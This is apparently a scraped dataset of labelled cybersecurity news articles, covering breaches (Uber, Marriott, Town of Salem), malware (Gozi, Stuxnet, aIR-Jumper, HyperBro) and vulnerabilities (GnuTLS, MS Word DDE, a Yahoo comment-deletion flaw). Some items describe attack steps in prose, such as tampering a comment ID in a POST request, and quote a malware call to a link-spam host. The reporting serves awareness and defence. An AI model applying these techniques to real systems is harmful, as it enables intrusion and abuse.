"Through this service, Paunescu, like other bulletproof hosts, knowingly provided critical online infrastructure to cyber criminals that allowed them to commit online criminal activity with little fear of detection by law enforcement," the DoJ said in an unsealed indictment.
Gozi (aka ISFB, Snifula, or Ursnif), a Windows-based banking trojan, had its roots dating as far back as 2005 prior to its deployment in real-world attacks in 2007. At least 40,000 computers in the U.S., including those belonging to the National Aeronautics and Space Administration (NASA), are said to have been infected with the virus.
Germany, Great Britain, Poland, France, Finland, Italy, and Turkey are the other countries where Gozi infections were reported.
In May 2016, Gozi's primary developer, a Russian citizen named Nikita Kuzmin, was sentenced to 37 months in prison and fined $7 million over charges of computer intrusion and fraud, and for causing "tens of millions of dollars in losses" to individuals, businesses, and government entities. Kuzmin also rented out the malware to other criminal operators in exchange for $500 a week.
Separately, Deniss Calovskis, a Latvian national who developed "web injects" so as to enable Gozi to surreptitiously gather information entered by users on banking websites, landed a 21-month prison term in January 2016 for his co-conspiratorial role in the fraudulent scheme.
Despite these law enforcement efforts, Gozi, however, continues to be an ever-evolving malware that has since morphed from a simple banking trojan into a modular malicious content delivery platform, with cybersecurity firm Check Point uncovering "modern derivatives" that were actively deployed in several cyber attacks as of August 2020.
| Malware |
Hacker Can Steal Data from Air-Gapped Computers Using IR CCTV Cameras | https://thehackernews.com/2017/09/airgap-network-malware-hacking.html | Air-gapped computers that are isolated from the Internet and physically separated from local networks are believed to be the most secure computers which are difficult to infiltrate.
However, these networks have been a regular target in recent years for researchers, who have been trying to demonstrate every possible attack scenarios that could compromise the security of such isolated networks.
Security researchers from Ben-Gurion University in Israel have previously demonstrated several ways to extract sensitive information from air-gapped computers.
Now, the same University researchers have discovered another way to steal confidential information from air-gapped computers – this time with the help of infrared-equipped CCTV cameras that are used for night vision.
Researchers have developed a new attack scenario, dubbed aIR-Jumper, which includes an infected air-gapped computer (from which data needs to be stolen) and an infected CCTV network (that has at least one CCTV installed inside the premises facing the infected computer and one outside the premises), assuming that both networks are isolated from each other, and none of them is Internet-connected.
Ignoring the fact that how an air-gapped computer and CCTV network got infected with malware in the first place, the new research focused on, once infected, how the malware would be able to transfer the stolen data back to the attackers (waiting outside the premises).
To read and send data, the aIR-Jumper malware installed on air-gapped computer and CCTV network blink IR LEDs in morse-code-like patterns to transmit files into the binary data, i.e. 0 and 1.
The data from a video camera can be transmitted at 20 bits per second to an attacker at a distance of tens of meters away and from an attacker to a video camera at 100 bits per second, even in total darkness.
Since the attack is meant to steal files in binary data, attackers wouldn't be able to steal any large files but could get their hands on passwords, cryptographic keys, PIN codes and other small bits of sensitive data stored on the targeted computer.
"In an infiltration scenario, an attacker standing in a public area (e.g., in the street) uses IR LEDs to transmit hidden signals to the surveillance camera(s)," the researchers say. "Binary data such as command and control (C&C) and beacon messages are encoded on top of the IR signals."
The researchers also published two videos demonstration, showing two attack scenarios.
In the first video, the researchers demonstrated how the malware installed on the air-gap computer collected data, converted it into binary and then blinked LED accordingly. At the same time, the infected camera captured this pattern and the malware installed on the camera converted the morse-code back into the binary data.
In the second video, another internally-connected camera installed outside the premises (in the parking area) transmitted the stolen binary data to the attackers sitting in the car using IR LED in morse-code-like patterns.
Attackers can simply capture the blink of the CCTV using their own camera and can decrypt the data later.
Here the infected CCTV camera is working as a bridge between the air-gapped computer and the remote attackers, offering a bi-directional covert channel.
It's not the first time Ben-Gurion researchers came up with the technique to target air-gapped computers. Their previous research of hacking air-gap computers include:
USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer;
BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys;
AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes;
Fansmitter technique that uses noise emitted by a computer fan to transmit data; and
GSMem attack that relies on cellular frequencies.
For more details on the latest aIR-Jumper attack, you can head onto the paper [PDF] titled, 'aIR-Jumper: Covert Air-Gap Exfiltration/Infiltration via Security Cameras & Infrared (IR).'
| Malware |
6 Tips to Save Time Doing Patch Management | https://thehackernews.com/2014/01/7-tips-to-save-time-doing-patch.html | If you spend more than a few hours a month doing patching; if you stay up until the middle of the night one Saturday each month doing patching; if you just flip on automatic updates and hope for the best; or if you email your users instructions on how to update their machines – then you're doing it wrong.
Patching shouldn't be something that takes multiple days, nor is it something that should ruin one weekend a month. But it is critical and needs to be done right. If you think you're spending way too much time on patching, and have actually considered skipping a month because things didn't sound "that bad," then here's a post just for you. In it, we'll look at seven tips to save you time (and money) taking care of patch management.
1. Have a plan: First of all, you have to have a plan. Management has to support it, and you need to make sure it covers all the systems on your network. You don't want to patch at random, or try to remember every system that you have. Create a plan that includes getting the updates, testing the updates, deploying the updates, and confirming that everything is covered.
2. Set aside a maintenance window: Whether you patch at 2am on Saturday, or Friday at 9am, you need a maintenance window that others cannot supersede. I prefer to patch during the day. Everyone is already awake and onsite, vendor supports' top tier personnel are available should the worst happen, redundancy in your systems should allow you to take down a node at a time, and there's no reason why IT has to work a zombie shift every month. Nobody else does!
3. Test "in production": No, I don't mean that you should just patch every system without testing and hope for the best, but I do mean that you should have a subset of servers and workstations that people actually use, and patch them before the rest of the network. That way, patches are actually being used for more than a few minutes. If there is something that causes issues, you are either going to find it in the first 30 seconds, or not for hours. Running a handful of production machines with a new patch helps make sure you're good to go.
4. But be able to roll back: When you do patch, you want to make sure you can roll back. Testing a handful of machines should help you avoid a case where you have to touch everything twice, but you do want to be able to roll back a patch even after you've done all your testing, because sometimes things take a while to show up
If there's one thing you can do to save more time than anything else regarding patching, it's getting patch management software for your network. Seriously, the time it will save you every month will pay for the cost of the patch management software in less than a year. How's that for ROI? Patch management software can help you develop and execute your plan, test your patches, roll them back when needed, and two more things on top of that to save you time.
5. Cover third party software too: Patch management software has something that Windows Updates will never have… the ability to patch non-Microsoft software. Everybody has software from third parties like Adobe, Mozilla, Sun, and Apple, and all of those need patching as often as or more so than operating systems and office suites. Patch management software has you covered, patching popular third party applications so you don't have to invent login scripts and hope for the best.
6. Use reporting: Trust, but verify is the mantra of patch management. Trust that the patch deployed to all your systems, but then go verify it. You can either log on to each machine one at a time, spend hours coming up with a WMI query to check, or you can use the reporting built right into your patch management software to see the status of every system. Better still, you can provide those reports to your boss to show her what a great job you're doing patching.
Seven tips that can save you hours each month, let you take back your weekends, and actually put you in a far more secure position than you were before. If that's not a great thing, I don't know what is! Remember, patch management is critical, but that doesn't mean it has to be painful.
Use a thorough approach to patching, make sure you cover the third party software, and use patch management software to automate and report on as much as you possibly can.
This blog post was written by Peter Williams on behalf of GFI Software. Learn more on how you can benefit from good patch management software.
| Vulnerability |
Town of Salem Data Breach Exposes 7.6 Million Gamers' Accounts | https://thehackernews.com/2019/01/town-of-salem-data-breach.html | A massive data breach at the popular online role-playing game 'Town of Salem' has reportedly impacted more than 7.6 million players, the game owner BlankMediaGames (BMG) confirmed Wednesday on its online forum.
With the user base of more than 8 million players, Town of Salem is a browser-based game that enables gamers (which range from 7 to 15 users) to play a version of the famous secret role game Town, Mafia, or Neutrals.
The data breach was first discovered and disclosed on December 28 when a copy of the compromised Town of Salem database was anonymously sent to DeHashed, a hacked database search engine.
Over 7.6 Million Users Accounts Compromised
The database included evidence of the server compromise and access to the complete gamer database which contained 7,633,234 unique email addresses (most-represented of the email providers being Gmail, Hotmail, and Yahoo.com).
After analyzing the complete database, DeHashed disclosed that the compromised data contained the following information on Town of Salem players:
Email addresses
Usernames
Hashed passwords (in phpass, MD5(WordPress), and MD5(phpBB3) formats)
IP addresses
Game and forum activity
Some payment information (including full names, billing and shipping addresses, IP information and payment amount).
DeHashed also stated that "some of the users who paid for certain premium features having their billing information/data breached as well," though BlankMediaGames confirmed that no credit-card numbers were exposed in the breach.
"We do not handle money. At all. The third party payment processors are the ones that handle all of that," a company's spokesperson said on the official Town of Salem game forum on January 2 while confirming the breach.
"We never see your credit card, payment information, anything like that. We don't have access to that information."
Town of Salem developers addressed the security incident Wednesday by removing three separate, malicious PHP files (which render HTML content for viewing in the browser) from their web server that allowed the attacker to have a backdoor into their server.
The company is also in the process of contacting security auditing firms and potentially discussing reinstalling all of its "servers from scratch just to be 100% sure."
Account Passwords Stored Using Insecure MD5 Hashing Algorithm
Although the game developers said that each password was stored in their database as a "salted MD5 hash," the game players are highly recommended to change their passwords as soon as possible because the MD5 hash function has long been known to be susceptible to brute force attacks.
The MD5 hashing algorithm is widely considered to be extremely insecure, following the leaking of more than 117 million LinkedIn passwords that had been hashed similarly and brute-forced to get the plain text passwords.
BlankMediaGames is expected to be changing up its password-hashing approach, as the company said: "We are making plans to replace PHPBB with a more secure forum such as Vanilla, and moving to a more secure hashing algorithm."
BlankMediaGames says it will soon be sending out mass emails to all Town of Salem users impacted by the data breach but adds that its number one priority currently is to ensure that its "servers are secure" and to add support in its code for "forced password resets."
| Data_Breaches |
Stuxnet 0.5 : Symantec study reveals Stuxnet was dated 2005 | https://thehackernews.com/2013/02/stuxnet-05-symantec-study-reveals_27.html | Today social media are spreading a shocking news, authors of Stuxnet virus that hit Iranian nuclear program in 2010 according a new research proposed by Symantec security company started in 2005 and contrary to successive instance of the malware he was designed to manipulate the nuclear facility's gas valves. The attacker strategy was to destroy the nuclear plant causing an explosion due the sabotage of gas valves, hackers purpose was physical destruction of the targets, due this reason the press and security community labeled Stuxnet as first cyber weapon of the history.
Francis deSouza, Symantec's president of products and services, during an interview with Bloomberg revealed that the version detected was a sort of beta version of the final weapon and that in the period between 2005 and 2009 the authors were testing its capabilities.
"It looks like now the weapon tried a few things before it hit on what would actually work,"' "It is clear that this has been a sophisticated effort for longer than people thought." Said deSouza.
Symantec experts have found in the code of earlier version of Stuxnet a version reference 0.5 and crossing this information with date of website domain registration Stuxnet 0.5 concluded that it may have been used as early as 2005 until July 4th, 2009, few days before the version 1.001 was created.
Symantec report revealed the differences of version 0.5 with subsequent ones of Stuxnet, later versions significantly increased their spreading capability exploiting an increased number of vulnerabilities, but has described before the most important change is related to the strategy pursued by the attackers moved their attention from gas valve disruption to centrifuge speed modification.
The discovery is intended to reveal many other interesting backstage, let's think to the link between Flame and Stuxnet, until now security community believed that authors have had access to Flame components but not to whole Flame Platform source code. The discovery of Stuxnet 0.5 demonstrates that its authors had access to the complete Flamer platform source code.
Following the statements proposed on the topic in the report:
"Stuxnet 0.5 is partly based on the Flamer platform whereas 1.x versions were based primarily on the Tilded platform. Over time, the developers appear to have migrated more towards the Tilded platform. The developers actually re-implemented Flamer platform components using the Tilded platform in later versions.
Both the Flamer and Tilded platform code bases are different enough to suggest different developers were involved."
| Malware |
50000 WordPress Sites infected with spam | https://thehackernews.com/2011/09/50000-wordpress-sites-infected-with.html | 50000 WordPress Sites infected with spam
The attack consists of contacting the domain wplinksforwork.com to get a list of links to be displayed on the compromised sites. However, that domain has been down for the last few days and all the sites compromised. These sites supposed to be compromised. Most of the hacked sites had outdated versions of WordPress installed.
Infected sites have following message at Footer :
Warning: file_get_contents(https://wplinksforwork.com/56132.. 47509328/p.php?host=… failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in ..
| Vulnerability |
Here's the NSA Employee Who Kept Top Secret Documents at Home | https://thehackernews.com/2017/12/nghia-hoang-pho-nsa.html | A former employee—who worked for an elite hacking group operated by the U.S. National Security Agency—pleaded guilty on Friday to illegally taking classified documents home, which were later stolen by Russian hackers.
In a press release published Friday, the US Justice Department announced that Nghia Hoang Pho, a 67-year-old of Ellicott City, Maryland, took documents that contained top-secret national information from the agency between 2010 and 2015.
Pho, who worked as a developer for the Tailored Access Operations (TAO) hacking group at the NSA, reportedly moved the stolen classified documents and tools to his personal Windows computer at home, which was running Kaspersky Lab software.
According to authorities, the Kaspersky Labs' antivirus software was allegedly used, one way or another, by Russian hackers to steal top-secret NSA documents and hacking exploits from Pho's home PC in 2015.
"Beginning in 2010 and continuing through March 2015, Pho removed and retained U.S. government documents and writings that contained national defense information, including information classified as Top Secret and Sensitive Compartmented Information," the DoJ said in disclosing Pho's guilty plea.
"This material was in both hard-copy and digital form, and was retained in Pho's residence in Maryland."
For those unaware, the U.S. Department of Homeland Security (DHS) has even banned Kaspersky Labs' antivirus software from all of its government computers over suspicion of the company's involvement with the Russian intelligence agency and spying fears.
Kaspersky CEO Says He Would Leave If Russia Asked Him To Spy
Though there's no substantial evidence yet available, an article published by US news agency WSJ in October claimed that Kaspersky software helped Russian spies steal highly classified documents and hacking tools belonging to the NSA in 2015 from a staffer's home PC.
However, Kaspersky Labs has denied any direct involvement with the Russian spies in the alleged incident.
Just last month, Kaspersky claimed that its antivirus package running on the Pho's home PC detected the copies of the NSA exploits as malicious software, and uploaded them to its cloud for further analysis by its team of researchers.
According to the company, as soon as its analysts realized that its antivirus had collected more than malicious binaries, the company immediately deleted the copy of the classified documents, and also created a special software tweak, preventing those files from being downloaded again.
Even, when asked if Russian intel agency had ever asked him to help it spy on the West at a media briefing at the Kaspersky's offices in London on Tuesday, CEO Eugene Kaspersky said "They have never asked us to spy on people. Never."
Kaspersky further added that "If the Russian government comes to me and asks me to anything wrong, or my employees, I will move the business out of Russia."
NSA Hacker Faces A Prison Sentence Of Up To 10 Years
In Pho's plea deal with prosecutors, the NSA hacker admitted that he copied information from NSA computers multiple times between 2010 and 2015 and took it all home with him.
Taking classified documents at home is a clear violation of known security procedures—and in this process, Pho eventually exposed the top secret information to Russian spies.
Pho has pleaded guilty in a United States district court in Baltimore to one count of willful removal and retention of national defense information, with no other charges filed against him and there's no mention of Pho selling or passing off that confidential data.
The retention of national defense information offense carries a possible 10-year prison sentence.
Federal prosecutors said they would seek an eight-year sentence for Mr. Pho. However, his attorney can ask for a more lenient sentence.
Pho remains free while awaiting sentencing on 6th April next year.
| Cyber_Attack |
Critical GnuTLS Flaw Leaves SSL Clients Vulnerable to Remote Code Execution | https://thehackernews.com/2014/06/critical-gnutls-flaw-leaves-ssl-clients.html | GnuTLS, a widely used open source SSL/TLS cryptographic library is vulnerable to a buffer overflow vulnerability that could be exploited to crash TLS clients or potentially execute malicious code on underlying systems.
The GnuTLS library implements secure sockets layer (SSL) and transport layer security (TLS) protocols on computers, servers, and softwares to provide encrypted communications over insecure channels.
The bug (CVE-2014-3466) was independently discovered by Joonas Kuorilehto of security firm Codenomicon, the same security firm who discovered the biggest Internet vulnerability, Heartbleed. Unlike Heartbleed, the GnuTLS library is not as widely deployed as OpenSSL.
The GnuTLS Vulnerability resides in the way GnuTLS parses the session ID from the server response during a TLS handshake. It does not check the length of session ID value in the ServerHello message, which allows a malicious server to send an excessively long value in order to execute buffer overflow. Reported Flaw could be exploited by sending payload code from malicious server to clients as they establish encrypted HTTPS connections.
Heartbleed could be exploited from both sides i.e. Server (the computer connected to) or the Client (i.e. the computer that initiated the connection), whereas the GnuTLS Remote Code Execution vulnerability will only works from the server to a connecting client.
Red Hat has already issues a patch for this vulnerability as "A flaw was found in the way GnuTLS parsed session ids from Server Hello packets of the TLS/SSL handshake," and its Bug Tracker explained: "A malicious server could use this flaw to send an excessively long session id value and trigger a buffer overflow in a connecting TLS/SSL client using GnuTLS, causing it to crash or, possibly, execute arbitrary code."
"The flaw is in read_server_hello() / _gnutls_read_server_hello(), where session_id_len is checked to not exceed incoming packet size, but not checked to ensure it does not exceed maximum session id length."
Radare blog also published an in-depth technical analysis including the proof-of-concept of the this vulnerability, which indicates that it can be exploited by any threat actor to execute any type of malicious code. While, the GnuTLS project has already issued updated version 3.1.25, 3.2.15 and 3.3.3 in order to patch the vulnerability.
| Vulnerability |
MS Office Built-in Feature Allows Malware Execution Without Macros Enabled | https://thehackernews.com/2017/10/ms-office-dde-malware.html | Since new forms of cybercrime are on the rise, traditional techniques seem to be shifting towards more clandestine that involve the exploitation of standard system tools and protocols, which are not always monitored.
Security researchers at Cisco's Talos threat research group have discovered one such attack campaign spreading malware-equipped Microsoft Word documents that perform code execution on the targeted device without requiring Macros enabled or memory corruption.
This Macro-less code execution in MSWord technique, described in detail on Monday by a pair of security researchers from Sensepost, Etienne Stalmans and Saif El-Sherei, which leverages a built-in feature of MS Office, called Dynamic Data Exchange (DDE), to perform code execution.
Dynamic Data Exchange (DDE) protocol is one of the several methods that Microsoft allows two running applications to share the same data. The protocol can be used by applications for one-time data transfers and for continuous exchanges in which apps send updates to one another as new data becomes available.
Thousands of applications use the DDE protocol, including Microsoft's Excel, MS Word, Quattro Pro, and Visual Basic.
The exploitation technique that the researchers described displays no "security" warnings to victims, except asking them if they want to execute the application specified in the command—however, this popup alert could also be eliminated "with proper syntax modification," the researchers say.
The duo has also provided a proof-of-concept video demonstrating the technique.
MS Word DDE Attack Being Actively Exploited In the Wild
As described by Cisco researchers, this technique was found actively being exploited in the wild by hackers to target several organisations using spear phishing emails, which were spoofed to make them look as if they're sent by the Securities and Exchange Commission (SEC) and convince users into opening them.
"The emails themselves contained a malicious attachment [MS Word] that when opened would initiate a sophisticated multi-stage infection process leading to infection with DNSMessenger malware," reads a blog post published by Talos researchers.
Earlier March, Talos researchers found attackers distributing DNSMessenger—a completely fileless remote access trojan (RAT) that uses DNS queries to conduct malicious PowerShell commands on compromised computers.
Once opened, victims would be prompted with a message informing them that the document contains links to external files, asking them to allow or deny the content to be retrieved and displayed.
If allowed, the malicious document will communicate to the attacker hosted content in order to retrieve code that'll be executed to initiate the DNSMessenger malware infection.
"Interestingly, the DDEAUTO field used by this malicious document retrieved code that the attacker had initially hosted on a Louisiana state government website, which was seemingly compromised and used for this purpose," the researchers say.
How to Protect Yourself And Detect MS Word DDE Attacks
What's more worrying? Microsoft doesn't consider this as a security issue, rather according to the company the DDE protocol is a feature that can not be removed but could be improved with better warning alerts for users in future.
Although there's no direct way to disable DDE code execution, users can proactively monitor system event logs to check possible exploitation.
Besides this, the researchers at NVISO Labs have also shared two YARA rules to detect DDE vector in Office Open XML files.
The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.
| Vulnerability |
Hackers Demonstrate Car Hacking using a laptop | https://thehackernews.com/2013/07/Hacking-car-remote-control-vulnerabilities.html | Computer geeks already knew it was possible to hack into a car's computerized systems and finally, two U.S. hackers - Charlie Miller and Chris Valasek, sponsored by the Pentagon's research facility DARPA recently demonstrated just how easy it is for malicious hackers to physically hijack a modern car using a laptop.
Feeling exiting ... ? You should worry too..It's all very concerning. Because you may never drive your car again after you see how a couple of government funded tech guys were able to hack into, and take control of car's steering, dashboard, and even its brakes.
Forget hacking accounts, computers or mobile devices, this new threat to our vehicles is thanks to the evolution of electronic control units being installed in most new cars.
Charlie Miller, a security engineer at Twitter, and Chris Valasek, the Director of Security Intelligence at IOActive received an $80,000 grant from the US government in order to research these new vulnerabilities.
By connecting an Apple MacBook to the car's OBD-II (On-Board Diagnostic System) port below the dashboard, they were able to trigger a series of minor and major events that could annoy drivers at best and cause a serious accident at worst. Minor hacks included manipulation of the car's fuel gauge and speedometer, triggering the seatbelt pre-tensioners and sounding the horn.
A video of their demonstration from Forbes, shows them using their electronic access to disconnect brakes, scramble a speedometer, wobble a steering wheel and blast a horn, inside a 2010 model Ford Escape and Toyota Prius.
That study showed that the engine control devices initially designed for pollution reduction had been integrated into other aspects of a car's functioning and diagnostics.
But security research is notoriously difficult; the fact that Toyota's engineers haven't found any security vulnerabilities doesn't mean there aren't any.
| Vulnerability |
Uber Paid 20-Year-Old Florida Hacker $100,000 to Keep Data Breach Secret | https://thehackernews.com/2017/12/uber-hacker.html | Last year, Uber received an email from an anonymous person demanding money in exchange for the stolen user database.
It turns out that a 20-year-old Florida man, with the help of another, breached Uber's system last year and was paid a huge amount by the company to destroy the data and keep the incident secret.
Just last week, Uber announced that a massive data breach in October 2016 exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information.
However, the ride-hailing company did not disclose identities or any information about the hackers or how it paid them.
Now, two unknown sources familiar with the incident have told Reuters that Uber paid a Florida man through HackerOne platform, a service that helps companies to host their bug bounty and vulnerability disclosure program.
So far, the identity of the Florida man was unable to be obtained or another person who helped him carry out the hack.
Notably, HackerOne, who does not manage or plays any role in deciding the rewards on behalf of companies, receives identifying information of the recipient (hackers and researchers) via an IRS W-9 or W-8BEN form before payment of the award can be made.
In other words, some employees at Uber and HackerOne definitely knows the real identity of the hacker, but choose not to pursue the case, as the individual did not appear to pose any future threat to the company.
Moreover, the sources also said that Uber conducted a forensic analysis of the hacker's computer to make sure that all the stolen data had been wiped, and had the hacker also sign a nondisclosure agreement to prevent further wrongdoings.
Reportedly, the Florida man also paid some unknown portion of the received bounty to the second person, who was responsible for helping him obtain credentials from GitHub for access to Uber data stored elsewhere.
Originally occurred in October 2016, the breach exposed the names and driver license numbers of some 600,000 drivers in the United States, and the names, emails, and mobile phone numbers of around 57 million Uber users worldwide, which included drivers as well.
However, other personal details, like trip location history, dates of birth, credit card numbers, bank account numbers, and Social Security numbers, were not accessed in the attack.
Former Uber CEO Travis Kalanick learned of the cyber attack in November 2016 and chose not to involve authorities, believing the company can easily and more effectively negotiate directly with the hackers to limit any harm to its customers.
However, this secret dealing with the hackers eventually cost Uber security executives their jobs for handling the incident.
Now Uber CEO Dara Khosrowshahi has reportedly fired Uber Chief Security Officer Joe Sullivan, and one of his deputies, Craig Clark, who worked to keep the data breach quiet.
"None of this should have happened, and I will not make excuses for it. While I cannot erase the past, I can commit on behalf of every Uber employee that we will learn from our mistakes," Khosrowshahi said.
"We are changing the way we do business, putting integrity at the core of every decision we make and working hard to earn the trust of our customers."
Last week, three more top Uber security managers resigned, including Sullivan's chief of staff Pooja Ashok, senior security engineer Prithvi Rai, and physical security chief Jeff Jones.
| Data_Breaches |
Marriott Suffers Second Breach Exposing Data of 5.2 Million Hotel Guests | https://thehackernews.com/2020/03/marriott-data-breach.html | International hotel chain Marriott today disclosed a data breach impacting nearly 5.2 million hotel guests, making it the second security incident to hit the company in recent years.
"At the end of February 2020, we identified that an unexpected amount of guest information may have been accessed using the login credentials of two employees at a franchise property," Marriott said in a statement.
"We believe this activity started in mid-January 2020. Upon discovery, we confirmed that the login credentials were disabled, immediately began an investigation, implemented heightened monitoring, and arranged resources to inform and assist guests."
The incident exposed guests' personal information such as contact details (name, mailing address, email address, and phone number), loyalty account information (account number and points balance), and additional information such as company, gender, dates of births, room preferences, and language preferences.
The hospitality giant said an investigation into the breach was ongoing, but said there was no evidence that Marriott Bonvoy account passwords or PINs, payment card information, passport information, national IDs, or driver's license numbers were compromised.
Marriott has also set up a self-service online portal for guests to check whether their personal details were involved in the breach, and what categories of information were exposed. In addition, it's offering affected users an option to enroll in IdentityWorks, a personal information monitoring service, free of charge for 1 year.
The company has already taken the step of disabling the passwords of Marriott Bonvoy members who had their information potentially exposed in the incident, and they will be notified to change their passwords during the next login, as well as prompted to enable multi-factor authentication.
The incident follows a 2014 compromise of Starwood Hotels guest reservation database, which was acquired by Marriott in 2016. The breach, which exposed personal details of over 339 million guests globally, wasn't detected until November 2018, leading to it paying a fine of £99 million ($123 million) to the UK's data privacy regulator Information Commissioner's Office under GDPR laws.
"The kinds of information disclosed in the latest Marriott breach might seem innocuous, but it is precisely this kind of intelligence that enables threat actors to better target attacks on consumers," Gerrit Lansing, STEALTHbits' Field CTO told The Hacker News via email today.
"Simply: the more I know about you, the better chance I have of fooling you. Compromised credentials remain one of the top vectors for this kind of compromise, and strong authentication before accessing sensitive information one of the best defenses."
| Data_Breaches |
DDoS Attacks originated from thousands of .EDU and .GOV WordPress Blogs | https://thehackernews.com/2013/12/ddos-attacks-originated-from-thousands.html | In a recent cyber attack on a Forum site, thousands of outdated legitimate WordPress blogs were abused to perform DDOS attacks using previously known vulnerabilities.
After analyzing the Log file from the victim's server, we have noticed many Wordpress CMS based educational (.EDU) and Government (.GOV) websites from where the attack was originated.
In the past we have reported about many such cyber attacks, where attackers hacked into the Wordpress blogs using password brute-force attack or they used the PINGBACK vulnerability in older versions of Wordpress without compromising the server.
WordPress has a built in functionality called Pingback, which allows anyone to initiate a request from WordPress to an arbitrary site and it can be used for a single machine to originate millions of requests from multiple locations.
We have seen more than 100,000 IP addresses involved in the recent DDOS attack and the victim's Forum website received more than 40,000 requests in 7 minutes from different Wordpress blogs and IP addresses.
In this recent attack, we have noticed more than 4000 .EDU and .GOV sites along with thousands of other abused sites, including following:
open.nasa.gov
oversight.house.gov
digitalbusiness.gov.au
pilr.blogs.law.pace.edu
itp.nyu.edu/~mlt324/MattTsBlog
cctevents.creighton.edu
tech.journalism.cuny.edu
languagelog.ldc.upenn.edu/nll
researchcenter.journalism.cuny.edu
testkitchen.colorado.edu
smartpyme.blogs.uoc.edu
journalism.cuny.edu
blogs.ei.columbia.edu
cctevents.creighton.edu
admissions.vanderbilt.edu/vandybloggers
erb.umich.edu
metalab.harvard.edu
greenlaw.blogs.law.pace.edu
and thousands more..
These large servers can cause much more damage in DDoS attacks because the servers have the large network bandwidth and are capable of generating significant amounts of traffic.
At this time it's not clear that either these Wordpress blogs are compromised or the Pingback vulnerability was used to perform the attack.
But It's always wise to learn from other's mistake. If you still use 'admin' or common name as a user name on your blog, change it, use a strong password. There are also security plug-ins available, two-factor authentication options available for WordPress and of course make sure you are up-to-date on the latest version of WordPress.
| Vulnerability |
Vulnerability in Yahoo Websites Allows Hackers to Delete Any Comment | https://thehackernews.com/2014/05/vulnerability-in-yahoo-websites-allows.html | Two months ago, we reported a critical vulnerability on the Yahoo Answers platform that allowed a hacker to delete all the posted thread and comments from Yahoo's Suggestion Board website.
Recently, a similar vulnerability has been reported by another Egyptian security researcher 'Ahmed Aboul-Ela', that allows him to delete any comment from all Yahoo Services, including Yahoo News , Yahoo Sports , Yahoo TV , Yahoo Music , Yahoo Weather, Yahoo Celebrity , Yahoo Voices and more.
HOW TO DELETE ANY COMMENT
When yahoo users comment on any article or post on any of the Yahoo services, they are allowed to delete their own comment anytime. But the reported vulnerability discovered by Ahmed allows them to delete all the comments, even if they are posted by others.
To delete a comment, one can initiate the request by clicking on the delete button and once clicked, the page sends a POST request to the Yahoo server with some variables i.e. comment_id and content_id, where comment_id represents the comment's serial number and content_id represents the article identifier.
To carry out this, an attacker just has to initiate a request to delete his own comment, then needs to tamper the POST request in order to replace his own comment_id parameter value with the value of targeted comment. Once the server will receive this request, it will delete that comment from the database, as it fails to validate user's permissions.
VIDEO DEMONSTRATION
But there is a small dependency here, an attacker can delete comments from a post, only if he is the first to comment on that post.
"The vulnerability will only work if you were the first commenter on the article as you will have a privilege to delete any other yahoo users comments who post comment after you. otherwise it will give you the Authorization Failed error message , so it seems that the developer was taking care of the bug but he just forgot to add the validation when he checks if you are the first commenter." Ahmad explained.
The vulnerability has been fixed by Yahoo Security Team after Ahmad reported them few weeks before.
| Vulnerability |
Chinese Hackers Carried Out Country-Level Watering Hole Attack | https://thehackernews.com/2018/06/chinese-watering-hole-attack.html | Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks.
The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called LuckyMouse.
LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year.
The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain "access to a wide range of government resources at one fell swoop."
According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks.
Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center.
The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center.
The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration.
"There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites," the researchers said in a blog post published today.
"These events suggest that the data center infected with HyperBro and the waterholing campaign are connected."
As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger.
The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016.
Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection.
| Malware |
Detected a malware that steal image files via FTP … Should we be concerned? | https://thehackernews.com/2012/11/detected-malware-that-steal-image-files_9.html | I have recently found an interesting post of Niranjan Jayanand, a researcher of McAfee and members of Facebook team and customer escalation team. The experts announced that his team has recently detected a Trojan that is able to steal every king of image files form a Windows PC, including a memory dump of the victim machine (.dmp files), and upload them to an FTP server.
The activities observed are much suspected, they portend that there is an ongoing attack for cyber espionage or a massive information theft operation by cyber crime . This could be just a first stages of the attacks in which information are collected for further and complex initiatives.
The stolen image files could be used for blackmailing the victims and demanding a ransom, it's nor first time, let's reminds what happened some months ago when nude pictures of celebrities were stolen.
This is not the unique use that I could suppose, images could be also used for other purposes, they could be related to reserved project or to document scans, their exposure could cause serious risks.
Let's think also to the possibility to use the images to create fake accounts to infiltrate social networks and gather information on specific targets rather than realize more sophisticated fraud schema Similar social engineering attacks have also hit high officials of government agencies in the past.
There is also another disturbing particular … why the attackers are collecting also .dmp files?
It is very likely that the attackers are interested to discover vulnerabilities in infected machines; the memory dump could contain useful information on programs in execution of the victim pc, data that could be used to adopt specific exploits in the attacks.
